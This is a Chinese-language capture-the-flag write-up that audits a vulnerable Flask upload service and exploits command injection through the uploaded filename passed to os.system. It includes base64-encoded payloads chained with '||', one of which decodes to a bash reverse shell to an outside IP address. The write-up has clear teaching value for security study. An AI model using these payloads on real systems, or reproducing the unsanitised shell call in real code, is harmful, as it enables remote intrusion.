源码
题目给了附件,下载之后发现是一份python源码,使用flask构建,功能很简单,就是一个文件上传的功能。
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/', methods=['POST'])
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath, directory))
except:
return 'something wrong in extracting'
links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
if not os.path.isfile(filepath):
return '404', 404
return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)
审计
审计代码发现,当上传文件后再访问文件时,会直接进入donwload
块,将文件下载,而不是进行解析,所以可利用的点只有在os.system
处,这里的savepath
是可控的,且没有进行过滤。
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath, directory))
上传一个文件,抓包进行分析:
根据源码:
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath, directory))
except:
return 'something wrong in extracting'
文件上传时,会先在uploads
目录下生成一个随机目录,文件保存在这个目录下。
然后取出上传文件的文件名,尝试调用系统命令,对上传的tar压缩包进行解压。
由于代码中未对文件名进行过滤,所以考虑在filename
处使用||
来进行命令的注入系统命令,达到rce的目的。
简单测试一下:
test.tar || echo d2hvYW1p | base64 -d | bash ||
由于这里没有回显,不能直接读取flag,所以考虑反弹shell。
test.tar || echo YmFzaCA+JiAvZGV2L3RjcC84LjIxOS4yNTMuOTkvODg4OCAwPiYx | base64 -d | bash ||
成功获取到shell,直接读取flag即可。